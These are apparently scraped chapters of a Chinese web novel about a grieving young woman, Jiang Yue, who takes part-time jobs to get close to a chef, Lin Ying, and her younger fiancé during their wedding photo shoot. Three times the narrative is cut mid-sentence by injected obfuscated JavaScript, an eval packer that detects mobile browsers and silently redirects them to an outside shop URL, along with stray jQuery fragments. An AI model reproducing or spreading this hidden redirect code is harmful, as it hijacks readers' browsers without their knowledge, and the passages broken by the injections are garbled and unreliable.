线香燃着,细弱的烟圈在昏黄的灯光里飘,绕着桌上三人的合照——那是五年前过年拍的,年长的女性揽着两个女孩,大一点的女孩笑得眉眼弯弯,而小一点的那个似乎还在闹别扭,皱着眉头,一脸不忿地看着镜头。 也许有人觉得给还活着的人上香不吉利,但江月觉得世界上还有比亲人都离开,留下自己一个人活在这个世界上更不吉利的吗? 反正自己早晚都要去找姐姐和母亲,现在多烧点香,毕竟以后都不知道有没有人给自己烧香了。 屋子还是老样子,两室一厅,墙皮有些斑驳,角落里堆着姐姐从前的书,客厅的灯还是那盏瓦数不高的,照不亮屋子的每个角落,简单温馨,却少了一些生气。 对于江月来说,这个房子除了睡觉洗澡之外的功能便是保存过往的记忆。 从前她们娘仨挤在这小屋里,日子清苦,顿顿粗茶淡饭,可每天回家,总能闻到母亲煮的饭香,姐姐会坐在桌边教她写作业,夜里的屋子,永远热热闹闹的。 现在的江月守着这简陋的老房子,守着这满屋子的旧物件,不过是想留下一点关于过往的记忆,好像这样,姐姐和母亲就还在她身边,从来没有离开过。 其实江月手里有钱,还是很多钱。 姐姐走后那笔赔偿金,数字大得吓人,江月和母亲一分都没动,锁在衣柜最深处的铁盒子里,连封条都没拆过。 手机震了震,消息的提示音在这空旷的房子里响起,是兼职群里的消息,消息的红色数字不断攀升,江月点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119736|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开最新一条:【来新活了,晚班奶茶店,顶四个小时,有人接吗?】 江月指尖敲了敲屏幕,继续往上滑,看有没有自己需要的兼职。 很快,她便找到了。 【婚纱照陪拍,15/h,明早九点到到下午五点,不包吃喝和路费。】 下面没有人接单,这个价格太低了,而且需要服务的内容堪比保姆,现在是冬天,估计得陪着一对新人在外面呆一天,帮新娘提裙摆,送暖手袋和暖宝宝之类的,天寒地冻的,给的钱少,活又多,环境还很恶劣,没人接单是必然的。 江月点开发布者的头像,问是哪个店的拍摄。 没半分钟,对方的消息就弹了回来,带着点客气的熟稔:【小月啊,又是你,我都不好意思了,每次都是这点钱,但是再给多点我又得亏本。】 江月面无表情地表示同情:【理解理解,你刚创业,投入的资金很大,但我对摄影很感兴趣,我非常欣赏您的拍摄作品,哪怕是没钱我也愿意接单的,我主要是想跟您学学摄影技术。】 对方的回复很快:【小月你这个好学的精神真是难得,现在都很少有你这样的年轻人了,不拜金,又肯吃苦,你将来一定会大有出息的。】 江月翻了个白眼,这位大姐自己开着豪车,给助理开的工资又很少,还得会开车,都赶走好几个助理了,甚至还有之前的助理在群里讨薪,简直是臭名远扬。 不过江月最近需要追踪一对新人的近况,所以还得继续吹捧着对方,获取自己想要的信息。 于是继续跟对方攀扯:【不过还得麻烦您告诉我是在哪个店,我看我方不方便。】 对方很快发来地址,【就这里。】 江月切换软件,搜索自己之前关注的一对姐弟恋情侣,发现男方前几天刚发布完探店的视频,点开定位,就是对方发来的地址。 于是回【没问题,离我很近,这个单我先接下了。】 对方喜不自胜,再三确认江月是真的要接单,得到肯定答复后,叮嘱江月一定不能迟到。 江月回了个嗯,没再说话。 群里的人都愿意先找江月,无非是因为她从不计较薪水,只收一半就肯踏踏实实顶班,她们能省点钱,江月也能借助这些兼职打探消息。 于江月而言,钱从来都不是要紧事,那点微薄的酬劳,不过是她接近那些人的敲门砖。 兼职的好处就是自由,想走就走,想留就留,奶茶店、便利店、花店、快递站,江月接遍了大街小巷的活计,借着这些平凡的身份,能悄悄靠近她想要找的人,能听到那些平日里听不到的闲话,能一点点查清那些藏在背后的事。 线香快燃尽了,余温裹着淡淡的檀香味,绕在鼻尖。 香灰轻轻落在桌沿,江月伸手拂了拂,指尖触到合照里的笑脸,温温的。 姐姐,我会好好的,会守着这屋子,守着我们的记忆。 也会替你教训那些不该活下来的人,就像你从前护着我那样,这一次轮到我来守护你。 你和母亲,就在天上好好看着,等着我来找你们就好。 5. 第二章(1) 南方的冬晨带着点湿冷的黏腻,窗帘缝里漏进几缕淡白天光,林影裹着厚被子蜷成一团,下半张脸埋在柔软的被窝里,呼吸均匀得像猫。 而这难得的香甜熟睡却被忽然打断,林影突然一股外力猛地扯了扯被角,她迷迷糊糊哼了声,往被窝深处缩了缩,妄图把自己焊在温暖里。 “林影!”张怀野的声音带着点咬牙切齿的怒意,却又刻意放轻了音量,怕真吓着她,“你看看几点了?还睡!今天拍婚纱照啊祖宗!” 他举起手机,想要拍摄林影赖床的铁证,伸手去捞蜷缩在被窝里的人,指尖触到她温热的皮肤,却被林影一巴掌拍开。 “昨天那个时尚晚宴搞到半夜,主办方非说得我盯着下面的人上菜才放心,我回家都两三点了,让我再睡半小时好吗!”她闭着眼睛嘟囔,声音软糯还带着刚睡醒的鼻音,“化妆师八点才到,现在才七点,再睡半小时。” 林影一个主厨,不仅自己开了一家餐厅,已经被评为米其林一星餐厅了,有时候也会承接一些大型的晚宴。 张怀野气笑了,俯身盯着她露在外面的头顶,黑发乱糟糟的,看得他心头软了软,语气却依旧硬邦邦,“你还得起床洗漱,吃点早餐吧?路上再堵会儿,半小时哪够啊?你想让摄影师等咱们?我昨天跟人确认了三遍时间,你倒好,半点不上心!” 林影慢悠悠睁开眼,眼尾带着点惺忪的红,看向蹲在床边的张怀野。 他穿着灰色的家居服,头发也没梳顺,额前碎发耷拉着,明明是怒目圆睁的样子,可眼底那点担忧藏都藏不住。她伸出手,指尖轻轻挠了挠他的下巴,像安抚炸毛的小狗:“哎呀,宝贝弟弟别生气嘛。” 她故意把“弟弟”两个字咬得软软的,带着点撒娇的意味。张怀野最吃她这一套,脸色瞬间缓和了些:“那你快点起来哦,我给你叫了麦当劳!” “知道啦知道啦!”林影伸了个懒腰,被子滑落,露出纤细的脖颈和肩头,她慢悠悠地坐起来,揉了揉眼睛,却看到张怀野慌慌张张地又跑进了卧室。 林影有点生气,自己都说了要起床了,张怀野是不是怕自己又躺回去,跑来监督自己,虽然她心里确实是这么想的,但人和人之间怎么没有一点信任呢? “你干嘛又进来……”林影有点委屈,但张怀野显然更加紧张,他喘着大气,小声道:“你妈来了!” 林影两眼一黑,顺势躺回床上,用杯子将自己的脑袋蒙住,“你出去应付她,等她走了我再起来。” 张怀野将林影从被窝里捞出来,“不行,我完全无法一个人面对你妈,那相当于把羊送入虎口!” “你说她是母老虎?”林影躺在床上一动不动,嘴角噙笑,看着张怀野干着急。 “不是不是,你妈是万兽之王,她要把我大卸八块我也无怨无悔,但你能不能稍微出个面啊?”张怀野将林影的手攥得紧紧的,一边还不停地往门口瞄,生怕林影的妈妈王子英突然出现。 林影被张怀野这副鬼鬼祟祟的样子逗笑了,一个鲤鱼打挺就从床上蹦起来,同时出声安慰:“没事的,我因为她随便进我房间这个事情跟她吵过很多次了,现在她是不会随意进我的房间。” 张怀野这才松了口气,等着林影在睡衣外面穿了件外套,跟在她屁股离开卧室。 林影刚走进餐厅,就被桌上的景象惊了惊。 白瓷盘里摆着两只煎得金黄的溏心蛋,旁边是一小碟切好的草莓和蓝莓,冒着热气的砂锅里,是红枣桂圆小米粥,还卧着几颗莲子,旁边还有一笼小巧的水晶虾饺,氤氲的热气里,飘着淡淡的甜香和鲜香。 “都是给我做的?”林影走过去,拿起勺子轻轻搅了搅粥,暖意顺着指尖蔓延开来。 “不然呢?”王子英端着一杯温牛奶走过来,放在她面前,语气带着点得意,“知道你气血不足,月经不调,特意炖的红枣桂圆粥,莲子去心火,虾饺补蛋白,溏心蛋补铁,快尝尝,合不合胃口。” 她说完,还拿起筷子夹了个虾饺递到她嘴边。 林影张嘴接住,虾子的腥味还很重,让她有点反胃,但她不好驳了老人家的面子,人家起早赶这么远的路来给自己做早餐,总不好说难吃吧,于是她眯起眼睛,装作很享受:“好吃。” 王子英看着她满足的样子,方才那点怒气早就烟消云散了,只剩下满心的柔软,转身进厨房,端出来自己做好的其他早餐。 林影赶忙吐掉嘴里的虾饺,张怀野习惯性地伸手去接,而这时王子英又端出一碗燕窝,那个沾满口水的被咬烂的虾饺就这么可怜兮兮地躺在张怀野的手心里。 王子英坐在林影对面,撑着下巴看着她小口喝粥,时不时给她夹块水果,招呼杵在一边当装饰品的张怀野:“那个谁!你也稍微吃点吧!” 林影咽下嘴里的粥,抬眼看他,眼底闪着无奈:“妈,人家叫张怀野,又不叫那个谁。” 她放下勺子,伸手拍拍张怀野的肩膀,“帮我去厨房拿个小碗好吗,好不好?” 她的手温温软软的,张怀野心里一暖,露出纯真的笑容:“好的,没问题!” 王子英看着张怀野听话地走进厨房,又瞟了林影一眼:“他倒是听你的话!”然后又酸溜溜道:“不过也是,傍了你这个大姐,要是我的话,我也很听话。” “你也傍着我啊,我给你买房买车,你怎么不听我的话?让你别来我的房子,你三天两头就不请自来!” “我这是关心你啊!”王子英忙不迭道,“而且我帮你盯着他!万一他往家里带一些什么莺莺燕燕的,我帮你修理他!” 林影将面前的燕窝碗往前一推,“我不用你给我做饭,也不用你帮我盯着他,我只需要你好好过自己的生活。” 王子英不乐意了,她往厨房里看了一眼,发现张怀野还在厨房里洗洗刷刷,于是悄悄坐到林影的身边,问她:“我是你妈!我还能害你吗?你月经多久没来了?” “今年就没来过了。”林影不想谈这个事情,从刚来月经的时候,她就没有准时过,经常一年来两次,或者一年也不来一次,去医院看了看,医生说只要规律就没问题,如果不着急怀孕的话,这个不算病症。 王子英因为这个事情没少寻医问药,摆放各路山野神医,该吃的不该吃的都往林影的嘴里塞。 “那怎么办?你不生小孩的话,人家愿意吗?”王子英急得唾沫乱飞,有好几滴落在林影的脸上,“你都三十四了,留给你的时间不多了,那个谁才二十五,人生要重新开始的话,容易得很!” 林影抽出一张纸巾,在自己脸上擦了擦,问王子英:“你什么意思呢?你是希望我跟他在一起,还是不希望我们在一起啊?” “你如果不希望我们在一起的话,他因为我不能生小孩跟我分开,不是正合你意吗?” 王子英一时语塞,慌忙道:“我是为你好!女人还是得生小孩啊,你看我有了你,我现在多么幸福快乐!” “我现在就很幸福快乐,不需要一个小孩来让我幸福快乐!”林影的声音突然变大,连在厨房里的张怀野也忍不住探出脑袋,林影挥挥手,那个小脑袋又钻进了厨房。 王子英看出来林影此时的心情很不好,只得叮嘱她今天拍婚纱照的时候不要冻到自己了,又说帮林影报名了一个身心疗养课程,有时间可以去上一下,还说这个课程非常火爆,自己还是托关系才抢到的。 刚说了几句,林影的脸色越来越黑,她只得拿着包落荒而逃,张怀野在后面送她,顺便关上门,两人面面相觑,最后只得无奈地笑两下作罢。 / 因为王子英的到来,本就不多的时间更是所剩无几了。 林影和张怀野匆匆下楼,系安全带的时候林影忽然有点反胃,干呕了几声,张怀野有些紧张,手忙脚乱找出矿泉水和纸巾,拧开瓶盖递给林影,问她:“怎么了?” 林影喝了几口水,深吸一口气,道:“没事,可能是早上吃太多了吧。” 但她心里也有点怀疑,怎么会这个时候有干呕的症状。 张怀野为了缓解林影大早上被母亲王子英打扰的郁闷情绪,打开自己日常拍摄的相机,打算记录一下今天的日常。 之前刚开始追求林影的时候在网上经常询问网友,倾诉苦闷,没想到还成为了一个小小的网红,现在他也时不时汇报一下自己和林影的感情进展,拍婚纱照这么重要的事情肯定要跟大家分享的。 张怀野看着镜头,主动挑起话头:“知道为什么拍婚纱照一定要定在今天吗?” 林影有些莫名其妙,不知道张怀野为什么突然之间说这句话,但她还是老实回答:“不知道诶。” “是我们三年前第一次见面的日子!”张怀野大声欢呼,但他并没有因为林影的忘记而生气,而是挤兑她:“你肯定都不记得了,当时你忙得团团转,哪里记得我。” / 三年前,林影以前在烹饪学院的同学接到了给张怀野姐姐张晴雨公司的年会的餐食项目,得知林影准备回国开店,邀请她前去参观指导。 没想到当天的责任主厨突发肠胃炎,一时之间找不到其他的主厨来救场,同学只好拜托林影帮忙。 彼时张怀野跟着表姐张晴雨来赴宴,穿过喧闹的前厅,无意间瞥见后厨半开的门。 三十一岁的女人,扎着高马尾,额前碎发被厨房的热气蒸得微湿,身上系着素色围裙,袖口挽到肘部,露出线条匀称的小臂,上面还沾着点未擦净的面粉。 食材的香气随着热气汹涌而出,瞬间攫住了张怀野的感官。 林影神情专注,眉眼间带着一股掌控全局的利落,额角的汗珠顺着脸颊滑落,被她随手用手背擦去,留下一道浅浅的痕迹。 “那就是林影姐,”张晴雨顺着他的目光看去,笑着介绍,“听说是国外留学回来的女主厨,手艺绝了” 张怀野的心跳莫名漏了一拍,他见过穿礼服的精致女人,见过职场上雷厉风行的女强人,却从未见过林影这样的女人——在熙攘吵闹的厨房里,她像发光体一样,每一个动作都透着专业与热爱,对待菜品如同像创造艺术品一般, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119737|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那份独属于厨师的专注与鲜活,狠狠撞进了他心里。 他站在原地,看着她有条不紊地指挥助手备菜、调味,看着她尝味时微微眯起的眼睛,看着她对菜品不满意时轻轻蹙眉的认真,一见钟情的种子,在那一刻破土而出,疯狂生长。 宴会中途,张怀野吵着要去后厨看看。 林影刚忙完一波菜,正靠在门框上喝水,看到他们进来,脸上浮起一丝迷惑:“菜品有什么问题吗?” “没有没有,非常好吃。”张晴雨推了推张怀野,“是我弟弟非要来看看今天的主厨,说很喜欢你做的菜。” 张怀野喉结滚动,目光落在她沾着面粉的指尖和带着薄汗的额角,声音带着点不易察觉的紧张:“林影姐,你做的菜……特别好吃。” 他想说的话有很多,想说她做饭的样子很美,想说她身上的烟火气很迷人,可话到嘴边,只剩一句笨拙的赞美。 林影被他直白的目光看得有些不自在,笑了笑:“喜欢就多吃点,厨房里还有,不够再给你做。” 她转身要回厨房,手腕上的疤痕却不经意间露了出来——那是早年学厨时被热油烫伤的,一道浅浅的褐色印记。 张怀野下意识伸手想碰,又猛地收回,眼里满是心疼。就是这一瞬间,他暗下决心,一定要追到这个厉害又让人心疼的女人。 从那天起,张怀野成了林影的头号粉丝。 无论林影在哪里掌厨,张怀野总能精准地出现蹭饭或者捧场,直到林影开了属于自己的第一家餐厅。 张怀野更是风雨无阻,只要餐厅开门,他就会出现,而且从不在饭点扎堆,总是选在下午两点到四点之间来,那时林影刚忙完午市,能歇口气。 他会把当季的菜品全都点一遍,每次都安安静静地坐在角落默默吃完,然后留下自己细致的点评,就悄然离开。 他知道厨师最在意食材,便托朋友从乡下搜罗最新鲜的有机蔬菜、散养的土鸡和野生的鱼虾,每次来都提着一大袋,借口说是“家里寄来的,吃不完浪费”,硬塞给林影。 他记得林影胃不好,因为常年三餐不规律,便跟着老中医学做养胃的药膳汤,每天早上五点起床炖好,装在保温桶里送来,看着她喝完才放心离开。 林影起初觉得这小伙子太执拗,几次想拒绝,可每次对上他亮晶晶的眼睛,话到嘴边又咽了回去。她见过太多追求者,有送鲜花珠宝的,有承诺给她投资开分店的,有每天在馆外等她下班的,可从没有人像张怀野这样,懂她的辛苦,懂她的职业。 林影的追求者中,有一个做餐饮连锁的老板,姓王,财大气粗,多次提出要和林影合作,承诺给她股份和更高的薪资,甚至说可以让她当总厨,不用再这么辛苦。 王老板经常来店里,每次都点一大桌菜,指名要林影亲自做,做完后还会当众夸赞她,眼神里的占有欲毫不掩饰。 有一次,王老板借着酒劲,拉住林影的手,说要带她去国外考察,语气暧昧:“林影,跟着我,你不用再守着这家小馆子,我能给你更好的未来。” 林影用力想抽回手,却被他攥得紧紧的。就在这时,张怀野冲了过来,一把将王老板推开,将林影护在身后,眼神冰冷:“请你放尊重些!” 王老板愣了一下,随即笑了:“小子,你是谁?这里有你什么事?” “我是她男朋友。”张怀野握紧林影的手,语气坚定,“林影姐喜欢留在自己的家乡,只喜欢做自己想做菜,她不需要你的‘更好的未来’。如果你只是来吃饭,我们欢迎;如果你想骚扰她,那就请你出去!” 他的声音不大,却带着不容置疑的气场。王老板看着他护犊子的样子,又看了看林影眼底的依赖,脸色一阵青一阵白,最终悻悻地走了。 那天晚上,张怀野送林影回家。路上,他停下脚步,认真地看着她:“林影姐,我知道我现在给不了你王老板那样的财富和地位,但我能给你安稳和真心。我知道你喜欢做菜,我会支持你做任何你想做的事,我会每天给你做养胃的汤,会在你累的时候给你按摩,会在你受委屈的时候站出来保护你。请你相信我,我能照顾好你。” 林影看着他年轻却坚定的脸庞,想起他为她做的那些事:清晨的药膳汤、新鲜的食材、随身携带的碘伏、受伤时的心疼、为她出头时的勇敢……这些点点滴滴,像温水一样,慢慢融化了她心里的顾虑和防备。 她比他大七岁,经历过太多人情冷暖,早已不相信轰轰烈烈的爱情,可张怀野的真心,却让她重新燃起了对爱情的期待。 她轻轻点了点头,声音带着点哽咽:“好。” 张怀野欣喜若狂,一把将她抱住,力道大得像是要把她揉进骨子里。“谢谢你,林影姐,谢谢你愿意给我机会。”他的声音带着抑制不住的激动,“我不会让你失望的。” 后来林影回忆,那是因为张怀野趁虚而入,在自己身体和心灵极度疲惫的时候接住了自己,自己才会心软答应和他交往。 张怀野耍赖说:“那不管,你反正是答应了。” 6. 第二章(2) 摄影工作室的暖光透着几分焦灼,化妆师窝在沙发上,心不在焉地滑着手机,摄影师季节使唤着江月给她打下手,反复调试着镜头,墙上的时钟分针缓缓滑动。 玻璃门被推开时带起一阵冷风,张怀野拉着林影的手快步进来,胸前挂着的小型vlog相机还在微微晃动,他额角沁着薄汗,脸上堆着歉意:“实在对不住各位,路上有点堵车,让你们久等了!” 林影坐在化妆椅子上,闭上眼睛任由化妆师在自己的脸上耕耘挥洒,张怀野用手机拍摄自己身后的林影,语气带着几分炫耀的亲昵:“其实也不用太费心化妆,我老婆天生丽质,不化妆也比明星好看。”他说着把相机转向林影,“粉丝们总说想看林影素颜vlog,今天算是福利大放送了。” 林影的眉头瞬间蹙起,她知道张怀野的职业需要镜头感,却不喜欢连私下拍摄都被当作“福利”,仿佛自己只是他vlog里的一个符号。 她垂着眼帘,声音轻轻的,却带着明显的介意:“有点累,别拍了。” 张怀野连忙放下手机,问她:“还需要什么吗?” 江月见林影脸色偏白,悄悄递过来一杯温热水:“姐,喝点热水暖暖身子。” 又从包里摸出一贴暖宫贴,压低声音:“这个贴着舒服,我来例假的时候都用。” 林影扬起眉毛,很是意外,接过暖宫贴低声道谢,看到江月的脸时却忽然有些恍惚,她问:“我们以前见过吗?” 江月笑着摇摇头:“没有呢,不过很多人都跟我说过我和她们以前认识的人长得像,大约是大众脸吧。” 林影重新闭上眼睛,让化妆师给眼部化妆,没再说话。 江月的脸色变了变,但很快,又重新扬起嘴角,是众人熟知的那副乖巧模样。 轮到试婚纱时,那件之前量身定制的鱼尾婚纱,林影费了半天劲也拉不上拉链,腰线处紧紧绷着,勒得她呼吸发紧。 她气馁道:“早上吃太多了,算了,不穿婚纱拍了,换套便装吧。” 张怀野脸上的笑容淡了下去,语气带着不易察觉的介意:“这可是特意订的,不穿婚纱拍婚纱照,总觉得少了点什么。” 他盼这一天盼了很久,早就想象过林影穿婚纱的模样。 林影转过身,眼神里带着几分烦躁和委屈,张怀野便马上妥协:“好好好,不穿不穿,只要跟你一起拍照就是婚纱照。” 季节也连忙打圆场:“便装拍也很有氛围感,自然又好看。” 婚纱照一般拍三到四套,室内室外各两套,由于林影穿不进之前定制的婚纱照,造型师临时给她找来一套宽松一点的白色裙子,配上头纱竟然也十分好看。 但拍摄开始后,林影却始终心不在焉。她眼神涣散,对着镜头毫无神采,脸色惨白得吓人,时不时就捂着嘴干呕几声。 季节提醒她:“新娘,眼神聚焦一点,笑一笑呀。” 她有些无奈,赌气道:“我眼睛就长这样。” 张怀野站在旁边,左右为难。一边是季节期待的目光,一边是林影反常的状态。他想劝劝林影,又怕触怒她,只能低声安抚:“影影,是不是不舒服?要不歇会儿?” 林影摇摇头,摆摆手:“没事,继续拍。” 可下一秒,又忍不住干呕起来。化妆师和江月对视一眼,都看出了不对劲,却没人敢多问,只能默默递上纸巾和水。 拍摄间隙,林影独自走到角落,对着墙角发呆,心里冒出一个模糊又让她心慌的念头:自己不会真的怀孕了吧?她趁着没人注意,悄悄打开外卖软件,下单了一支验孕棒,收件地址填了自己店里的地址。 就在这时,张怀野的手机响了,是他妈妈打来的。 他走到一边接电话,声音刻意压低了些,却还是飘进了林影耳朵里。“怀野啊,晴雨那丫头不愿意当传话筒,我就直接跟你说了,你们俩抓紧点时间,早点生个孩子,家里也热闹。” 张怀野无奈地笑了笑:“妈,生孩子是两个人的事,我一个人努力也没用啊。” 林影听着,心里竟然涌上一阵内疚,能跟怀孕的人才拥有主导权,自己怎么会因为对方而感到愧疚呢? 张怀野挂了电话,走回她身边,语气带着几分憧憬:“我家里兄弟姐妹多,从小热热闹闹的,总觉得家里小孩多了才叫幸福。” 他看着林影,眼神温柔:“我也想我们以后能有几个孩子,围着我们转。” 林影的心被触动了,但依然保持理智,轻声说:“我会考虑的。” 话虽如此,她还是没敢说出自己怀疑怀孕的事,心里又慌又乱。 不远处,一对夫妻带着孩子拍全家福,小家伙扎着羊角辫,笑得格外可爱。 张怀野忍不住走过去,蹲下身逗她:“小朋友,真可爱。” 季节笑着打趣:“张先生这么喜欢孩子,你们两个都长得这么好看,以后生的小孩肯定也很好看,我免费给你们拍亲子照,就是得授权让我对外宣传。” 张怀野脸上的笑容僵了僵,下意识说了句:“好啊。” 说完,他眼神犹豫地看向林影,语气里带着几分试探和不确定。 周围的工作人员都愣住了,空气瞬间安静下来。 江月尴尬地别过脸,化妆师假装整理工具,季节干咳了两声,赶紧转移话题:“我们继续拍吧,刚才那组角度不错。” 大家都看得出来,张怀野是怕林影不高兴,才小心翼翼,让旁观者都替他觉得难堪。 林影还没从刚才的情绪里缓过来,手机突然又响了,是店里员工打来的。她接起电话,脸色瞬间变了:“什么?有人闹事还报警了?” 她越听眉头皱得越紧,挂了电话后,抓起包就往外走。 “怀野,店里出急事了,我得赶紧回去。” 她语速急促,语气里满是焦急,“婚纱照拍这一套就算了,剩下的以后再说。” 张怀野愣住了,连忙拉住她:“怎么回事?我跟你一起回去?” 林影甩开他的手:“不用,你在这儿吧,我一个人能处理。” 说完,她头也不回地冲了出去,玻璃门“砰”地一声关上,留下张怀野站在原地,手里还攥着刚才给她准备的纸巾。 现场一片死寂,工作人员们面面相觑,都透着尴尬。摄影师放下相机,不知道该说什么。 张怀野深吸一口气,压下心头的失落和难堪,脸上挤出一丝礼貌的笑容:“不好意思,各位,今天麻烦大家了。” 他咬了咬牙,“钱我照付,剩下的拍摄取消,大家也早点下班休息吧。” 化妆师连忙说:“张先生,不用这么客气,我们也没帮上什么忙。” 张怀野摇摇头:“该给的报酬一分都不能少,是我们耽误了大家的时间。” 他刷卡付了钱,又跟每个人道了谢,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江月说记得给自己打码,张怀野同意了,江月于是又重复了一遍,张怀野喜笑颜开地对着镜头复述:“没想到拍婚纱照也能偶遇我们的粉丝,真的是喜上加喜啊,粉丝说想要跟我合影,满足!” 江月表现得十分兴奋,转身想跟妆怀野合影,没注意脚下的电线,“啊”的一声重重摔在地上。 膝盖磕在地板的棱角上,瞬间擦破了一大块皮,渗出了血珠。 张怀野立刻举起相机,快步扶起她,语气满是关切:“怎么样?没事吧?” 他蹲下身查看伤口,眉头蹙起,“伤得不轻,得赶紧处理一下。” 江月脸颊涨得通红,又疼又羞,眼眶都红了:“张老师对不起,我太不小心了。” 张怀野拿出随身携带的创可贴——这是他拍户外vlog时常备的,小心翼翼地帮她贴上,又找来消毒棉片轻轻擦拭伤口周围:“没关系,下次小心点。” 他站起身,语气温和,“你受伤了,正好今天的拍摄也结束了,我送你回家吧。” 江月受宠若惊,连连点头,一路上还忍不住念叨:“张老师,你们拍婚纱照的vlog一定要多更点花絮啊,粉丝们都等好久了,还有大家都在猜你们什么时候要宝宝,要是拍备孕vlog,肯定能上热搜!” 张怀野只是温柔地笑了笑,没有回应。 7. 第二章(3) 林影推开「倒影」饭馆的木门时,檐角的风铃轻响,她恰好撞见伍红抬眼时的愤怒和遗憾。 伍红是店里的老食客了,每个月总会抽出两三个周末驱车来店里,点一份松茸蒸蛋配熏肉,说这里的味道能让她想起外婆家的后山。 可今天,她面前的蒸蛋只动了两口,眉头微蹙着,像是十分不满的样子。 “红姐,是菜品不合口味?”林影走过去,询问对方的意见,她已经换上素白的厨师服,袖口挽到小臂,露出精瘦的手臂肌肉。 伍红抬眼,语气里带着几分惋惜:“小林,今天的松茸蒸蛋少了点鲜灵劲儿,熏肉也偏咸了。” 她顿了顿,目光扫过窗外枝桠间悬着的冬日残叶,“可能是我太久没来,总惦记着以前的味道。” 林影的心轻轻一沉,店里的厨师是上个月新来的,手艺尚可,但到底还是比不上自己,碰上红姐这样的老食客还是显得嫩了点。 她望着伍红眼底藏着的失落,忽然想起上个月去北方巡山时看到的景象:松针上积着薄霜,枫叶经霜后红得透亮,山涧里鲑鱼正奋力洄游,鳞片在月光下闪着银辉。 灵感陡然冒出来,像初春的嫩芽破土而出。 “红姐,您等我半小时,我给您做一套新的套餐。”林影的眼睛亮了起来,语气里带着抑制不住的兴奋,“就叫「冬日之爱」。” 不等伍红回应,林影已经转身扎进了后厨。手指握到厨具的瞬间,她整个人都变得熠熠生辉起来。 做松茸蒸蛋时,她选择的是海拔一千二百米的野生松茸,用刀背细细碾成碎末,混进筛过三遍的蛋液里,加少许山泉水和盐,蒸制时全程用小火,确保蛋羹细腻得像云朵。 出锅前,她将切得极薄的松茸片铺在蛋羹表面,再放进蒸箱焖两分钟,让松茸的鲜香完全渗入蛋羹。随后,她取出一片提前用高温消毒、再经低温烘烤的枫叶,那枫叶边缘微微卷曲,红得均匀透亮,她小心翼翼地将其放在碗口一侧,恰好与蛋羹的倒影相映,宛如寒夜湖中浮着的一轮明月。 “这是自然的馈赠,该用最温柔的方式呈现。”林影轻声呢喃,像在和自己最珍贵的宝贝对话。 接下来是熏山猪肉。她选用的是本地农户散养的黑猪后腿肉,之前八角、桂皮、香叶腌制了三小时,再用松针和柏木慢熏四小时,直到肉质变得紧实,带着淡淡的草木香。 盛肉的盘子是特意定制的黑色粗陶盘,纹理粗糙,如同火山岩石。她在盘底铺满新鲜的海草,那海草是今早从海边坐飞机过来的,带着海水的咸鲜,翠绿的颜色与黑色的盘子形成鲜明对比。 两片熏肉切得厚薄均匀,斜斜地搭在海草上,油脂顺着肉的纹理慢慢渗出,浸润了下方的海草,香气愈发浓郁。 处理鲑鱼时,林影的动作格外轻柔。她先将鲑鱼肉片成薄片,用少许柠檬汁腌制十分钟去腥味;又将鲑鱼籽洗净,沥干水分备用。 最费心思的是番茄脆皮,她选用熟透的本地番茄,去皮去籽后,将果肉打成泥,加入少量淀粉和蛋清,搅拌均匀后摊在平底锅上,用小火慢慢煎成薄脆,再小心翼翼地卷成鲑鱼的形状,将鲑鱼肉片和鱼籽酿在里面。 番茄的酸甜与鲑鱼的鲜香相互交织,光是闻着味道,林影就忍不住弯起了嘴角。 “酸甜开胃,正好中和熏肉的厚重。”她满意地点点头,将这道菜放进保温柜。 最后是那道菜林影准备做花果蔬菜沙拉,盛沙拉的盘子巨大,边缘呈波浪状,白瓷底色上点缀着细碎的蓝纹,如同冬日的星空。 林影从保鲜柜里取出几十种食材:山里的野草莓、蓝莓、山楂,田地里的胡萝卜、小番茄、生菜,还有晒干的无花果、杏仁、枸杞……每一种食材都经过仔细清洗、处理,切成大小均匀的小块,错落有致地摆放在盘子里,色彩斑斓得像一幅油画。 点睛之笔的是最后的是「冬日之爱」的「爱」,林影将新鲜的冬季草莓打成泥,加入琼脂熬煮,倒入嘴唇形状的模具中,冷藏定型后取出,那草莓啫喱粉粉嫩嫩,边缘圆润,真真切切像一对饱满的嘴唇。她将这“嘴唇”放在沙拉中央,旁边摆着一小瓶现熬的草莓酱。 当林影推着餐车走出后厨时,伍红的眼睛瞬间亮了。 四道菜依次摆上桌,从月光般的蒸蛋到火山岩般的熏肉,从鲑鱼形状的番茄脆皮到星空般的沙拉,每一道都透着巧思与灵气。 “这是……”伍红伸出手,指尖悬在枫叶上方,不敢触碰。 “松茸蒸蛋,枫叶是消毒过的,放心。”林影笑着解释,“熏山猪肉用的松针熏制,海草是今早刚捞的。鲑鱼是洄游的,番茄脆皮是现做的,酸甜开胃。沙拉里的花果蔬菜都是本地当季的,有好几十种呢!” 伍红先尝了一口松茸蒸蛋,蛋羹入口即化,松茸的鲜香在舌尖弥漫开来,搭配着枫叶的清冽气息,仿佛置身于冬日的山林间。 